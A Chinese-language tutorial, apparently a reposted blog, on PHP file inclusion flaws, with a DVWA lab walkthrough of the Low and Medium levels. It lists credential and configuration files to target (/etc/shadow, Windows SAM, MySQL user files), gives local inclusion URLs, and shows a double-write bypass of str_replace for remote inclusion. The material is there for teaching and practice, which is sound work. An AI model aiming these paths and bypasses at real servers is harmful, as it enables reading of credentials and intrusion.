本文共 2378 字,大约阅读时间需要 7 分钟。
一、文件包含简介:
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。二、文件包含函数:
PHP中文件包含函数有以下四种:require()、require_once()、include()、include_once()include和require区别主要是:include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。三、漏洞产生原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。 服务器包含文件时,不管文件后缀是否是php,都会尝试当作php文件执行,如果文件内容确为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行 四、常见的敏感信息路径:Windows系统:c:\boot.ini // 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件c:\windows\repair\sam // 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码c:\windows\php.ini // php 配置信息Linux/Unix系统/etc/passwd // 账户信息/etc/shadow // 账户密码文件/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置/usr/local/app/php5/lib/php.ini // PHP相关配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件
Linux/Unix系统:/etc/passwd // 账户信息/etc/shadow // 账户密码文件/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置/usr/local/app/php5/lib/php.ini // PHP相关配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件
一、Low级别
代码:可以看到,服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。 而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。 因此可以尝试利用这些漏洞本地文件包含
以修改page参数改变路径来达到目的 page: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shadow 报错,显示没有这个文件,暴露了服务器文件的绝对路径 D:\xxamp\htdocs\DVWA 构造url(绝对路径): http://127.0.0.1/DVWA/vulnerabilities/fi/page=D:/xxamp/htdocs/DVWA/php.ini 执行,成功读取了服务器的php.ini文件 二、Medium级别 源码:可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。
尝试利用:
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。例如page=hthttp://tp://192.168.xx.xxx/phpinfo.php时,str_replace函数会将http://删除,于是page=http://192.168.xx.xxx/phpinfo.php,成功执行远程命令。
①.本地文件包含( …/绕过) 绝对路径不受任何影响,读取成功 http://127.0.0.1/DVWA/vulnerabilities/fi/page=D:/xxamp/htdocs/DVWA/php.ini ②远程文件包含转载地址:http://rmvwb.baihongyu.com/